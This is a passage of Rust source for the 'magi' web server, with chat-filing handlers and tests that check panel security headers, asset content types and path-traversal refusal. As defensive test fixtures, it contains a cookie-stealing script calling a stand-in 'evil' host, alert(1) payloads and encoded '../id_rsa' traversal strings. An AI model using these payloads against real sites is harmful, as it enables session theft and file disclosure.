2684
2685    let (chat, cfg) = {
2686        let ui = Arc::clone(&ui);
2687        let id = id.clone();
2688        blocking(move || {
2689            let chat = ui.chats.get(&id)?;
2690            let (cfg, _) = Config::discover(&chat.repo, None)?;
2691            Ok((chat, cfg))
2692        })
2693        .await?
2694    };
2695
2696    // The operator's turn is recorded, the agent's turn runs in the background,
2697    // and the response goes back now.
2698    //
2699    // This used to hold the HTTP connection for the whole turn - 23 to 90
2700    // seconds against a real model. On a phone that is a coin flip: a screen
2701    // lock or a network handoff drops the request and the browser reports
2702    // "Failed to fetch", while the server finishes the turn and writes it to
2703    // disk. The operator is then told their message failed when it did not,
2704    // which is the worst of both answers. Every other moving part in magi is
2705    // state on disk plus the change stream; this was the one place that
2706    // depended on a connection staying up, and it did not need to.
2707    //
2708    // The turn guard moves into the spawned task, so a second `say` on the
2709    // same chat still gets a 409 while this one is in flight.
2710    let chats = ui.chats.clone();
2711    let text = {
2712        let mut chat = chat.clone();
2713        let chats = chats.clone();
2714        let said = body.text.clone();
2715        blocking(move || Ok(chat::record(&mut chat, &chats, &said)?)).await?
2716    };
2717    // Re-read so the spawned task appends to the record that now holds the
2718    // operator's turn, rather than to the snapshot taken before it.
2719    let mut chat = {
2720        let ui = Arc::clone(&ui);
2721        let id = id.clone();
2722        blocking(move || Ok(ui.chats.get(&id)?)).await?
2723    };
2724    let queued = chat.clone();
2725    tokio::spawn(async move {
2726        let _turn = _turn;
2727        if let Err(e) = chat::respond(&mut chat, &chats, &cfg, &text).await {
2728            // `respond` records the failure in the transcript itself, which is
2729            // what the phone reads; this line is for the operator's terminal.
2730            tracing::warn!("chat {id} turn failed: {e:#}");
2731        }
2732    });
2733
2734    // 202: the operator's message is recorded and a turn is running. The front
2735    // end learns the reply from the change stream, the same way it learns
2736    // everything else.
2737    Ok((StatusCode::ACCEPTED, Json(ChatView::from(queued))))
2738}
2739
2740/// The body of `POST /api/chats/{id}/file`, which the phone sends empty.
2741#[derive(Debug, Default, Deserialize)]
2742#[serde(default, deny_unknown_fields)]
2743struct FileDraft {
2744    priority: i32,
2745}
2746
2747/// `POST /api/chats/{id}/file` - validate the agent's draft and queue it.
2748///
2749/// The 400 carries every problem [`chat::draft_problems`] found, as an array
2750/// beside the usual message, because the operator fixing them is on a phone:
2751/// one problem per round trip would mean asking the interviewer to rewrite the
2752/// draft three times for what is one edit.
2753async fn chat_file(
2754    State(ui): State<Arc<Ui>>,
2755    Path(id): Path<String>,
2756    body: std::result::Result<Json<FileDraft>, JsonRejection>,
2757) -> ApiResult<Json<serde_json::Value>> {
2758    // An absent body is the normal case - the front end posts with no content
2759    // type at all - and means the default priority. A body that is present and
2760    // malformed is still a bad request, because silently filing at the wrong
2761    // priority is worse than saying no.
2762    let body = match body {
2763        Ok(Json(body)) => body,
2764        Err(JsonRejection::MissingJsonContentType(_)) => FileDraft::default(),
2765        Err(e) => return Err(ApiError::bad_request(e.body_text())),
2766    };
2767
2768    blocking(move || {
2769        let id = resolve_chat(&ui.chats, &id)?;
2770        let mut chat = ui.chats.get(&id)?;
2771        // Asked before filing so the answer can be the whole list. `file_draft`
2772        // applies the same rule and would refuse too, but only with a flattened
2773        // string, and re-splitting an error message to rebuild the list is the
2774        // kind of thing that breaks the day someone adds a comma.
2775        if let Err(problems) = chat::draft_problems(&chat) {
2776            return Err(ApiError::bad_request_with(
2777                "the draft is not fileable yet",
2778                problems,
2779            ));
2780        }
2781        let task = chat::file_draft(&mut chat, &ui.chats, &ui.queue, body.priority)?;
2782        Ok(Json(serde_json::json!({ "task": task })))
2783    })
2784    .await
2785}
2786
2787/// Expand an id or short id to exactly one chat id.
2788fn resolve_chat(store: &Chats, id: &str) -> ApiResult<String> {
2789    pick(store.list().into_iter().map(|c| c.id).collect(), id, "chat")
2790}
2791
2792/// The configuration for a repository, read off the disk for this request.
2793///
2794/// Through [`blocking`] because discovery reads and merges several TOML files,
2795/// and because the alternative - caching it in [`Ui`] at startup - would mean
2796/// the operator's phone kept interviewing with a roster they had already
2797/// changed, with no way to reload it but restarting the server they are not
2798/// sitting in front of.
2799async fn config_for(repo: &FsPath) -> ApiResult<Config> {
2800    let repo = repo.to_path_buf();
2801    blocking(move || {
2802        let (cfg, _) = Config::discover(&repo, None)?;
2803        Ok(cfg)
2804    })
2805    .await
2806}
2807
2808/// The one prefix rule, used for both runs and tasks: a leading match for a
2809/// full id, a trailing match for the short form an operator reads off a
2810/// report. Written here rather than borrowed from `queue::resolve_id` because
2811/// the UI needs the two failures as different status codes, and telling them
2812/// apart from an error message is not something to build a route on.
2813fn pick(ids: Vec<String>, prefix: &str, what: &str) -> ApiResult<String> {
2814    let mut hits = ids
2815        .into_iter()
2816        .filter(|id| id.starts_with(prefix) || id.ends_with(prefix));
2817    match (hits.next(), hits.next()) {
2818        (Some(one), None) => Ok(one),
2819        (None, _) => Err(ApiError::not_found(format!("no {what} matches `{prefix}`"))),
2820        (Some(a), Some(b)) => Err(ApiError::bad_request(format!(
2821            "`{prefix}` matches more than one {what}, including {a} and {b}"
2822        ))),
2823    }
2824}
2825
2826#[cfg(test)]
2827mod tests {
2828    use pretty_assertions::assert_eq;
2829    use serde_json::Value;
2830    use tempfile::TempDir;
2831    use tokio::io::{AsyncReadExt as _, AsyncWriteExt as _};
2832
2833    use super::*;
2834    use crate::config::Config;
2835    use crate::queue::TaskStatus;
2836
2837    /// A home with a queue and a runs directory, and a router serving it on
2838    /// loopback. `tower`'s `oneshot` is not reachable - `tower` is axum's
2839    /// dependency, not ours - so the tests drive a real socket, which has the
2840    /// side benefit of asserting the status line and content types the phone
2841    /// actually receives.
2842    struct Fixture {
2843        home: TempDir,
2844        addr: SocketAddr,
2845    }
2846
2847    impl Fixture {
2848        async fn start() -> Self {
2849            Self::with_loop(launch_idle).await
2850        }
2851
2852        /// A fixture whose loop is `launch`.
2853        async fn with_loop(launch: Launch) -> Self {
2854            let home = TempDir::new().expect("temp home");
2855            let addr = Self::serve(home.path(), PathBuf::from("/repo/magi"), launch).await;
2856            Self { home, addr }
2857        }
2858
2859        /// A fixture whose `ui.repo` is a real directory rather than the
2860        /// usual placeholder - for the routes that read config off it
2861        /// (`GET /api/repos`) and would otherwise have nothing to discover.
2862        async fn with_repo(repo: PathBuf) -> Self {
2863            let home = TempDir::new().expect("temp home");
2864            let addr = Self::serve(home.path(), repo, launch_idle).await;
2865            Self { home, addr }
2866        }
2867
2868        async fn serve(home: &FsPath, repo: PathBuf, launch: Launch) -> SocketAddr {
2869            let queue = Queue::at(home.join("queue"));
2870            let runs = home.join("runs");
2871            std::fs::create_dir_all(&runs).expect("runs dir");
2872            let ui = Ui::new(
2873                queue,
2874                Questions::at(home.join("questions")),
2875                Chats::at(home.join("chats")),
2876                runs,
2877                home.to_path_buf(),
2878                repo,
2879            )
2880            .with_launch(launch);
2881            let listener = tokio::net::TcpListener::bind((Ipv4Addr::LOCALHOST, 0))
2882                .await
2883                .expect("bind loopback");
2884            let addr = listener.local_addr().expect("local addr");
2885            tokio::spawn(async move {
2886                let _ = axum::serve(listener, ui.router()).await;
2887            });
2888            addr
2889        }
2890
2891        fn queue(&self) -> Queue {
2892            Queue::at(self.home.path().join("queue"))
2893        }
2894
2895        fn questions(&self) -> Questions {
2896            Questions::at(self.home.path().join("questions"))
2897        }
2898
2899        fn chats(&self) -> Chats {
2900            Chats::at(self.home.path().join("chats"))
2901        }
2902
2903        fn runs(&self) -> PathBuf {
2904            self.home.path().join("runs")
2905        }
2906
2907        async fn get(&self, path: &str) -> Res {
2908            request(self.addr, "GET", path, None).await
2909        }
2910
2911        /// The status and headers without the body, which is how the front end
2912        /// preflights a panel: a sandboxed frame is opaque to the parent
2913        /// document, so the only way to tell "no panel" from "a panel that
2914        /// rendered blank" is to ask before mounting.
2915        async fn head(&self, path: &str) -> Res {
2916            request(self.addr, "HEAD", path, None).await
2917        }
2918
2919        async fn post(&self, path: &str, body: Option<&str>) -> Res {
2920            request(self.addr, "POST", path, body).await
2921        }
2922
2923        async fn get_with(&self, path: &str, extra: &[(&str, &str)]) -> Res {
2924            request_with(self.addr, "GET", path, None, extra).await
2925        }
2926
2927        async fn delete(&self, path: &str) -> Res {
2928            request(self.addr, "DELETE", path, None).await
2929        }
2930    }
2931
2932    struct Res {
2933        status: u16,
2934        headers: String,
2935        /// The header block with its original casing, for the assertions that
2936        /// compare a header *value* rather than looking for a name. Lowercasing
2937        /// a CSP would hide a directive spelled with a capital letter, and the
2938        /// whole point of that test is that the string is exactly right.
2939        head: String,
2940        body: String,
2941        /// The body before any UTF-8 handling, for the routes that serve
2942        /// something other than text. A panel asset is a PNG as often as not,
2943        /// and `from_utf8_lossy` would silently replace half of it.
2944        bytes: Vec<u8>,
2945    }
2946
2947    impl Res {
2948        fn json(&self) -> Value {
2949            serde_json::from_str(&self.body)
2950                .unwrap_or_else(|e| panic!("body is not json ({e}): {}", self.body))
2951        }
2952
2953        /// One header's value verbatim, or `None` when it was not sent.
2954        fn header(&self, name: &str) -> Option<&str> {
2955            self.head.lines().find_map(|line| {
2956                let (key, value) = line.split_once(':')?;
2957                key.trim()
2958                    .eq_ignore_ascii_case(name)
2959                    .then(|| value.trim_start().trim_end_matches('\r'))
2960            })
2961        }
2962    }
2963
2964    /// A one-shot HTTP/1.1 client. `Connection: close` is what lets the reply
2965    /// be read to end-of-stream without parsing framing.
2966    async fn request(addr: SocketAddr, method: &str, path: &str, body: Option<&str>) -> Res {
2967        request_with(addr, method, path, body, &[]).await
2968    }
2969
2970    /// As [`request`], with extra request headers - conditional GETs need
2971    /// `If-None-Match`, and a server that sets an `ETag` it never compares is
2972    /// worse than one that sets none.
2973    async fn request_with(
2974        addr: SocketAddr,
2975        method: &str,
2976        path: &str,
2977        body: Option<&str>,
2978        extra: &[(&str, &str)],
2979    ) -> Res {
2980        let mut head = format!("{method} {path} HTTP/1.1\r\nHost: magi\r\nConnection: close\r\n");
2981        for (name, value) in extra {
2982            head.push_str(&format!("{name}: {value}\r\n"));
2983        }
2984        if let Some(body) = body {
2985            head.push_str("Content-Type: application/json\r\n");
2986            head.push_str(&format!("Content-Length: {}\r\n", body.len()));
2987        }
2988        head.push_str("\r\n");
2989        if let Some(body) = body {
2990            head.push_str(body);
2991        }
2992        let mut socket = tokio::net::TcpStream::connect(addr)
2993            .await
2994            .expect("connect to the test server");
2995        socket
2996            .write_all(head.as_bytes())
2997            .await
2998            .expect("write request");
2999        let mut raw = Vec::new();
3000        socket.read_to_end(&mut raw).await.expect("read response");
3001        // Split on the raw bytes rather than on a lossy string, so a binary
3002        // body survives to be compared byte for byte.
3003        let split = raw
3004            .windows(4)
3005            .position(|w| w == b"\r\n\r\n")
3006            .expect("a header block");
3007        let head = String::from_utf8_lossy(&raw[..split]).into_owned();
3008        let bytes = raw[split + 4..].to_vec();
3009        let status = head
3010            .lines()
3011            .next()
3012            .and_then(|line| line.split_whitespace().nth(1))
3013            .and_then(|code| code.parse().ok())
3014            .expect("a status line");
3015        Res {
3016            status,
3017            headers: head.to_lowercase(),
3018            head,
3019            body: String::from_utf8_lossy(&bytes).into_owned(),
3020            bytes,
3021        }
3022    }
3023
3024    /// A run on disk, without touching the process-global magi home.
3025    fn write_run(runs: &FsPath, id: &str, status: RunStatus) {
3026        let mut state = RunState::new(
3027            PathBuf::from("/repo/magi"),
3028            "main".to_owned(),
3029            "0123456789abcdef".to_owned(),
3030            "Add a web UI\n\nMobile first.".to_owned(),
3031            Config::default(),
3032        );
3033        state.id = id.to_owned();
3034        state.status = status;
3035        let dir = runs.join(id);
3036        std::fs::create_dir_all(&dir).expect("run dir");
3037        std::fs::write(
3038            dir.join("run.json"),
3039            serde_json::to_string_pretty(&state).expect("serialize run"),
3040        )
3041        .expect("write run.json");
3042    }
3043
3044    fn write_daemon(home: &FsPath, updated_at: Timestamp) {
3045        let body = serde_json::json!({
3046            "schema": 1,
3047            "pid": 4242,
3048            "started_at": Timestamp::now().to_string(),
3049            "updated_at": updated_at.to_string(),
3050            "idle": false,
3051            "current": { "task": "20260902-140501-aaaa", "run": "20260902-140502-bbbb" },
3052            "completed": 7,
3053            "polls": 143,
3054        });
3055        std::fs::write(home.join("daemon.json"), body.to_string()).expect("write daemon.json");
3056    }
3057
3058    /// A loop that starts, finds nothing to do, and waits to be told to stop.
3059    ///
3060    /// No test in this file may start the real loop - see [`Ui::launch`] for
3061    /// why - so this stands in for the only thing the routes need a loop to
3062    /// do: keep running until `Stop` is set, then return. A real
3063    /// `serve_until` here would resolve its queue and its status file through
3064    /// the process-global magi home, claim whatever it found in the
3065    /// operator's live backlog, overwrite the status file of the `magi serve`
3066    /// that owns it, and spend real agent quota on a real competition.
3067    fn launch_idle(
3068        _opts: daemon::Opts,
3069        stop: daemon::Stop,
3070    ) -> Pin<Box<dyn Future<Output = Result<()>> + Send>> {
3071        Box::pin(async move {
3072            while !stop.stopped() {
3073                tokio::time::sleep(Duration::from_millis(2)).await;
3074            }
3075            Ok(())
3076        })
3077    }
3078
3079    /// A loop that fails on the way up, the way one whose home has gone
3080    /// read-only does.
3081    fn launch_broken(
3082        _opts: daemon::Opts,
3083        _stop: daemon::Stop,
3084    ) -> Pin<Box<dyn Future<Output = Result<()>> + Send>> {
3085        Box::pin(async {
3086            Err(anyhow::anyhow!(
3087                "publish the daemon status file: read-only file system"
3088            ))
3089        })
3090    }
3091
3092    /// The loop view once `want` accepts it.
3093    ///
3094    /// Polled rather than asserted straight after the POST because stopping
3095    /// is deliberately not instant - that is the contract - and rather than
3096    /// slept through because a fixed wait is either flaky or slow. Two
3097    /// seconds is far longer than a stand-in loop needs and still finite, so
3098    /// a genuine hang fails the test instead of hanging the suite.
3099    async fn settled(fx: &Fixture, want: fn(&Value) -> bool) -> Value {
3100        for _ in 0..200 {
3101            let view = fx.get("/api/loop").await.json();
3102            if want(&view) {
3103                return view;
3104            }
3105            tokio::time::sleep(Duration::from_millis(10)).await;
3106        }
3107        panic!(
3108            "the loop never settled: {}",
3109            fx.get("/api/loop").await.json()
3110        );
3111    }
3112
3113    /// File an open question directly in the store the server reads.
3114    fn ask(fx: &Fixture, summary: &str, choices: &[&str]) -> String {
3115        let store = fx.questions();
3116        let mut q = Question::new(
3117            "20260902-000000-beef".to_owned(),
3118            "implement".to_owned(),
3119            "impl-A".to_owned(),
3120            summary.to_owned(),
3121            "because it matters".to_owned(),
3122            choices.iter().map(|c| (*c).to_owned()).collect(),
3123        );
3124        store.put(&mut q).expect("put question");
3125        q.id
3126    }
3127
3128    /// A question with a panel the server can serve, plus the named assets.
3129    ///
3130    /// Written through `Questions::put_panel` rather than by laying out the
3131    /// directory here, so these tests exercise the same on-disk shape the
3132    /// agents produce and cannot pass against a layout only the tests know.
3133    fn panel(fx: &Fixture, html: &str, assets: &[(&str, &[u8])]) -> String {
3134        let store = fx.questions();
3135        let mut q = Question::new(
3136            "20260902-000000-beef".to_owned(),
3137            "land".to_owned(),
3138            "fix".to_owned(),
3139            "Merge this?".to_owned(),
3140            "the diff is in the panel".to_owned(),
3141            vec!["merge".to_owned(), "hold".to_owned()],
3142        );
3143        // Staged outside the questions root, because `put_panel` copies from
3144        // wherever the agent left its files.
3145        let staging = fx.home.path().join("staging");
3146        std::fs::create_dir_all(&staging).expect("staging dir");
3147        let sources: Vec<PathBuf> = assets
3148            .iter()
3149            .map(|(name, bytes)| {
3150                let path = staging.join(name);
3151                std::fs::write(&path, bytes).expect("write staged asset");
3152                path
3153            })
3154            .collect();
3155        store
3156            .put_panel(&mut q, html, &sources)
3157            .expect("write the panel");
3158        store.put(&mut q).expect("put question");
3159        q.id
3160    }
3161
3162    /// An interview on disk, without talking to a model.
3163    ///
3164    /// Written as JSON straight into the store the server reads, because the
3165    /// only constructor `chat` offers spawns an agent CLI. The one thing this
3166    /// cannot make up is the seat, so it is built with the real
3167    /// `SeatState::new` and serialized - the alternative, hand-writing that
3168    /// object, would make these tests fail the day the seat gains a field.
3169    fn interview(fx: &Fixture, id: &str, status: &str, draft: Option<&str>) -> String {
3170        let store = fx.chats();
3171        std::fs::create_dir_all(store.root()).expect("chats dir");
3172        let seat = serde_json::to_value(crate::agent::SeatState::new("plan", "sonnet", 7))
3173            .expect("serialize a seat");
3174        let body = serde_json::json!({
3175            "schema": 1,
3176            "id": id,
3177            "repo": "/repo/magi",
3178            "agent": "sonnet",
3179            "status": status,
3180            "turns": [
3181                { "who": "operator", "body": "rework the config loader",
3182                  "at": Timestamp::now().to_string() },
3183                { "who": "agent", "body": "Which part is hurting?",
3184                  "at": Timestamp::now().to_string() },
3185            ],
3186            "draft": draft,
3187            "task": Value::Null,
3188            "created_at": Timestamp::now().to_string(),
3189            "updated_at": Timestamp::now().to_string(),
3190            "seat": seat,
3191        });
3192        std::fs::write(store.path_of(id), body.to_string()).expect("write the chat");
3193        // A chat the server cannot parse would make every assertion below a
3194        // 500 that says nothing about the route under test.
3195        store.get(id).expect("the seeded chat has to be readable");
3196        id.to_owned()
3197    }
3198
3199    /// A task file that satisfies `plan::review_draft`, so `POST /file` has
3200    /// something to accept.
3201    fn good_draft() -> String {
3202        "# Rework the config loader\n\n\
3203         ## Why\n\n\
3204         It re-reads `magi.toml` on every lookup, so a run that asks for the \
3205         roster four hundred times pays four hundred parses of the same file.\n\n\
3206         ## What\n\n\
3207         Load the layers once when the run starts and hand the merged value \
3208         around. Nothing about the file format changes.\n\n\
3209         ## Acceptance criteria\n\n\
3210         - `Config::discover` is called exactly once per run.\n\
3211         - `cargo test` passes with no change to any existing assertion.\n"
3212            .to_owned()
3213    }
3214
3215    #[tokio::test]
3216    async fn both_panel_routes_send_the_whole_policy_that_makes_agent_html_safe() {
3217        let fx = Fixture::start().await;
3218        let id = panel(
3219            &fx,
3220            "<h1>Merge?</h1><img src=\"diff.svg\">",
3221            &[("diff.svg", b"<svg xmlns='http://www.w3.org/2000/svg'/>")],
3222        );
3223
3224        for path in [
3225            format!("/api/questions/{id}/panel"),
3226            format!("/api/questions/{id}/asset/diff.svg"),
3227        ] {
3228            let res = fx.get(&path).await;
3229            assert_eq!(res.status, 200, "{path}: {}", res.body);
3230            // The whole string, not a substring. A weakened directive - an
3231            // `img-src *` that lets a panel beacon out to a remote host, a
3232            // `script-src` anything, a missing `form-action` that lets it post
3233            // the owner's decision to a third party - has to fail here, and a
3234            // `contains` assertion would let every one of those through.
3235            assert_eq!(
3236                res.header("content-security-policy"),
3237                Some(
3238                    "default-src 'none'; img-src 'self' data:; style-src 'unsafe-inline'; \
3239                     font-src data:; base-uri 'none'; form-action 'none'; \
3240                     frame-ancestors 'self'"
3241                ),
3242                "{path} is the only thing between a hostile panel and the tailnet"
3243            );
3244            assert_eq!(
3245                res.header("x-content-type-options"),
3246                Some("nosniff"),
3247                "{path}: a browser must not re-decide the type we sent"
3248            );
3249            assert_eq!(
3250                res.header("referrer-policy"),
3251                Some("no-referrer"),
3252                "{path}: a panel must not leak the question id off the machine"
3253            );
3254
3255            // The front end mounts the frame only after a `HEAD` says the
3256            // panel is there, so `HEAD` has to answer with the same status and
3257            // the same policy as `GET` - a preflight that came back without
3258            // the CSP would mean a frame mounted on an unverified promise.
3259            let pre = fx.head(&path).await;
3260            assert_eq!(pre.status, res.status, "{path}: HEAD must agree with GET");
3261            assert_eq!(
3262                pre.header("content-security-policy"),
3263                res.header("content-security-policy"),
3264                "{path}: the preflight carries the same policy"
3265            );
3266            assert_eq!(
3267                pre.header("content-type"),
3268                res.header("content-type"),
3269                "{path}: the preflight carries the same type"
3270            );
3271        }
3272    }
3273
3274    #[tokio::test]
3275    async fn a_panel_reaches_the_browser_byte_for_byte() {
3276        let fx = Fixture::start().await;
3277        // Markup a sanitiser would be tempted to touch: a stray `<`, a script
3278        // tag, an entity, and a multi-byte character. The sandbox is what makes
3279        // this safe, so nothing here may be rewritten on the way out - a
3280        // rewritten diff is a diff the owner cannot trust.
3281        let html = "<h1>Merge?</h1><p>a &lt; b — 変更</p><script>alert(1)</script>";
3282        let id = panel(&fx, html, &[]);
3283
3284        let res = fx.get(&format!("/api/questions/{id}/panel")).await;
3285
3286        assert_eq!(res.status, 200);
3287        assert_eq!(res.bytes, html.as_bytes(), "served verbatim, not sanitised");
3288        assert_eq!(res.header("content-type"), Some("text/html; charset=utf-8"));
3289        assert_eq!(
3290            res.header("content-disposition"),
3291            None,
3292            "the panel itself is rendered in the frame, not downloaded"
3293        );
3294    }
3295
3296    #[tokio::test]
3297    async fn an_svg_asset_is_a_download_and_a_png_is_not() {
3298        let fx = Fixture::start().await;
3299        let svg = b"<svg xmlns='http://www.w3.org/2000/svg'><script>alert(1)</script></svg>";
3300        let png = b"\x89PNG\r\n\x1a\n\x00\x00\x00\rIHDR".as_slice();
3301        let id = panel(
3302            &fx,
3303            "<img src=\"diff.svg\"><img src=\"shot.png\">",
3304            &[("diff.svg", svg), ("shot.png", png)],
3305        );
3306
3307        let as_svg = fx.get(&format!("/api/questions/{id}/asset/diff.svg")).await;
3308        let as_png = fx.get(&format!("/api/questions/{id}/asset/shot.png")).await;
3309
3310        assert_eq!(as_svg.status, 200);
3311        assert_eq!(as_svg.header("content-type"), Some("image/svg+xml"));
3312        // An SVG is XML that may carry script. Inside the panel it is an
3313        // `<img src>` and the script cannot run; opened at the top level it
3314        // would be a document on magi's own origin, so the browser is told to
3315        // download it instead of rendering it.
3316        assert_eq!(as_svg.header("content-disposition"), Some("attachment"));
3317
3318        assert_eq!(as_png.status, 200);
3319        assert_eq!(as_png.header("content-type"), Some("image/png"));
3320        assert_eq!(
3321            as_png.header("content-disposition"),
3322            None,
3323            "a raster image has no execution surface, so tapping it still shows it"
3324        );
3325        assert_eq!(as_png.bytes, png, "a binary asset survives the round trip");
3326    }
3327
3328    #[tokio::test]
3329    async fn an_html_asset_is_never_served_as_html() {
3330        let fx = Fixture::start().await;
3331        let id = panel(
3332            &fx,
3333            "<p>see the notes</p>",
3334            &[
3335                (
3336                    "notes.html",
3337                    b"<script>fetch('http://evil/'+document.cookie)</script>",
3338                ),
3339                ("hook.js", b"fetch('http://evil/')"),
3340                ("data.json", b"{}"),
3341                ("HEADLINE.TXT", b"plain"),
3342            ],
3343        );
3344
3345        for name in ["notes.html", "hook.js", "data.json"] {
3346            let res = fx.get(&format!("/api/questions/{id}/asset/{name}")).await;
3347            assert_eq!(res.status, 200, "{name}: {}", res.body);
3348            // Serving this as text/html would be a way to reach agent markup
3349            // at the top level of the operator's browser, outside the frame's
3350            // sandbox and outside its CSP - which is the whole thing the panel
3351            // design exists to prevent. Unlisted types are downloads.
3352            assert_eq!(
3353                res.header("content-type"),
3354                Some("application/octet-stream"),
3355                "{name} must not be a type the browser will execute or render"
3356            );
3357        }
3358        // The whitelist is matched case-insensitively, so an agent shouting the
3359        // extension still gets a readable file rather than a download.
3360        let txt = fx
3361            .get(&format!("/api/questions/{id}/asset/HEADLINE.TXT"))
3362            .await;
3363        assert_eq!(
3364            txt.header("content-type"),
3365            Some("text/plain; charset=utf-8")
3366        );
3367    }
3368
3369    #[tokio::test]
3370    async fn no_spelling_of_a_traversing_asset_name_reaches_the_filesystem() {
3371        let fx = Fixture::start().await;
3372        let id = panel(&fx, "<p>x</p>", &[("diff.svg", b"<svg/>")]);
3373        // Something outside the panel directory that a traversal would reach if
3374        // one got through, so a passing test is not merely "the file was
3375        // missing anyway".
3376        std::fs::write(fx.questions().root().join("id_rsa"), b"secret").expect("write the bait");
3377
3378        // Decoded before this server's handler sees them: axum percent-decodes
3379        // path parameters, so `name` arrives as `../id_rsa`, `..\id_rsa` and a
3380        // string with a NUL in it. All three look like ordinary single-segment
3381        // filenames to the router, so the router passes them through and
3382        // `valid_asset_name` is what refuses them - for the literal `..`, and
3383        // for `/`, `\` and NUL not being in the permitted character set.
3384        for encoded in [
3385            "%2e%2e%2fid_rsa",
3386            "..%2fid_rsa",
3387            "..%5cid_rsa",
3388            "%2e%2e%5cid_rsa",
3389            "diff%00.svg",
3390            "..",
3391            ".hidden",
3392            "%2e%2e%2f%2e%2e%2fid_rsa",
3393        ] {
3394            let res = fx
3395                .get(&format!("/api/questions/{id}/asset/{encoded}"))
3396                .await;
3397            assert_eq!(
3398                res.status, 400,
3399                "`{encoded}` has to be refused by name, not looked up: {}",
3400                res.body
3401            );
3402            assert!(res.json()["error"].is_string(), "{}", res.body);
3403        }
3404
3405        // Not decoded, and never this handler's problem: a real slash makes the
3406        // request one segment too long for `/api/questions/{id}/asset/{name}`,
3407        // so axum's router has no route to match and answers before any code
3408        // here runs. Asserted so that a future route with a wildcard segment
3409        // cannot quietly open this door.
3410        for literal in ["../id_rsa", "../../questions/id_rsa", "..%5c../id_rsa"] {
3411            let res = fx
3412                .get(&format!("/api/questions/{id}/asset/{literal}"))
3413                .await;
3414            assert_eq!(
3415                res.status, 404,
3416                "`{literal}` must not match the asset route at all: {}",
3417                res.body
3418            );
3419        }
3420    }
3421
3422    #[tokio::test]
3423    async fn a_missing_panel_and_an_unknown_asset_are_both_json_404s() {
3424        let fx = Fixture::start().await;
3425        let plain = ask(&fx, "Which backend?", &["SQLite"]);
3426        let with_panel = panel(&fx, "<p>x</p>", &[("diff.svg", b"<svg/>")]);
3427
3428        // A question nobody wrote a panel for. The client preflights with HEAD
3429        // and cannot see inside a sandboxed frame, so this must be a status and
3430        // not an empty page.
3431        let none = fx.get(&format!("/api/questions/{plain}/panel")).await;
3432        assert_eq!(none.status, 404, "{}", none.body);
3433        assert!(none.json()["error"].is_string(), "{}", none.body);
3434        assert_eq!(
3435            fx.head(&format!("/api/questions/{plain}/panel"))
3436                .await
3437                .status,
3438            404,
3439            "the preflight is the only way the client can learn this"
3440        );
3441
3442        // A name that is perfectly legal and simply is not there.
3443        let missing = fx
3444            .get(&format!("/api/questions/{with_panel}/asset/absent.png"))
3445            .await;
3446        assert_eq!(missing.status, 404, "{}", missing.body);
3447        assert!(missing.json()["error"].is_string(), "{}", missing.body);
3448
3449        // A question that does not exist at all, on both routes.
3450        assert_eq!(fx.get("/api/questions/nope/panel").await.status, 404);
3451        assert_eq!(
3452            fx.get("/api/questions/nope/asset/diff.svg").await.status,
3453            404
3454        );
3455    }
3456
3457    #[tokio::test]
3458    async fn the_chat_list_is_open_first_and_carries_the_whole_transcript() {
3459        let fx = Fixture::start().await;
3460        assert_eq!(fx.get("/api/health").await.json()["chats_open"], 0);
3461
3462        interview(&fx, "20260903-014455-old1", "filed", Some(&good_draft()));
3463        interview(&fx, "20260903-014456-open", "open", None);
3464
3465        let listed = fx.get("/api/chats").await;
3466        assert_eq!(listed.status, 200, "{}", listed.body);
3467        let chats = listed.json();
3468        assert_eq!(chats.as_array().map(Vec::len), Some(2));
3469        assert_eq!(
3470            chats[0]["id"], "20260903-014456-open",
3471            "an unfinished interview is what the operator came back for: {chats}"
3472        );
3473        assert_eq!(chats[0]["status"], "open");
3474        // The transcript is the only thing a chat is made of, so the list
3475        // carries it rather than making the phone fetch each one.
3476        assert_eq!(chats[0]["turns"][0]["who"], "operator");
3477        assert_eq!(chats[0]["turns"][1]["body"], "Which part is hurting?");
3478        assert_eq!(chats[1]["status"], "filed");
3479
3480        // The one number that says "you left an interview open"; a filed one
3481        // has become a task and must not keep counting.
3482        assert_eq!(fx.get("/api/health").await.json()["chats_open"], 1);
3483    }
3484
3485    #[tokio::test]
3486    async fn one_interview_is_readable_by_short_id_and_an_unknown_one_is_a_404() {
3487        let fx = Fixture::start().await;
3488        let id = interview(&fx, "20260903-014455-ab12", "open", None);
3489
3490        let full = fx.get(&format!("/api/chats/{id}")).await;
3491        assert_eq!(full.status, 200, "{}", full.body);
3492        assert_eq!(full.json()["id"], id);
3493        assert_eq!(full.json()["repo"], "/repo/magi");
3494
3495        // The short id is what the operator reads off a notification.
3496        let short = fx.get("/api/chats/ab12").await;
3497        assert_eq!(short.status, 200, "{}", short.body);
3498        assert_eq!(short.json()["id"], id);
3499
3500        let missing = fx.get("/api/chats/nosuchchat").await;
3501        assert_eq!(missing.status, 404, "{}", missing.body);
3502        assert!(
3503            missing.json()["error"]
3504                .as_str()
3505                .is_some_and(|e| e.contains("chat")),
3506            "the error names what was not found: {}",
3507            missing.body
3508        );
3509    }
3510
3511    #[tokio::test]
3512    async fn filing_a_bad_draft_reports_every_problem_at_once() {
3513        let fx = Fixture::start().await;
3514        let id = interview(&fx, "20260903-014455-ab12", "open", Some("do the thing"));
3515
3516        let res = fx.post(&format!("/api/chats/{id}/file"), None).await;
3517
3518        assert_eq!(res.status, 400, "{}", res.body);
3519        let problems = res.json()["problems"].clone();
3520        let problems = problems.as_array().expect("an array of problems");
3521        // Every problem, not the first one. The operator is on a phone: a
3522        // draft with no title and no acceptance criteria is one edit, and
3523        // reporting it one problem per round trip means asking the interviewer
3524        // to rewrite it twice.
3525        assert!(
3526            problems.len() > 1,
3527            "one round trip has to be enough to fix the draft: {}",
3528            res.body
3529        );
3530        assert!(problems.iter().all(|p| p.is_string()), "{}", res.body);
3531        assert!(res.json()["error"].is_string(), "{}", res.body);
3532        assert!(
3533            fx.queue().list().is_empty(),
3534            "a refused draft must not reach the queue"
3535        );
3536
3537        // An interview the agent has not drafted for at all is the same shape,
3538        // so the front end has one path rather than two.
3539        let empty = interview(&fx, "20260903-014456-cd34", "open", None);
3540        let res = fx.post(&format!("/api/chats/{empty}/file"), None).await;
3541        assert_eq!(res.status, 400, "{}", res.body);
3542        assert_eq!(
3543            res.json()["problems"].as_array().map(Vec::len),
3544            Some(1),
3545            "{}",
3546            res.body
3547        );
3548    }
3549
3550    #[tokio::test]
3551    async fn filing_a_good_draft_queues_it_and_answers_with_the_task_id() {
3552        let fx = Fixture::start().await;
3553        let draft = good_draft();
3554        let id = interview(&fx, "20260903-014455-ab12", "open", Some(&draft));
3555
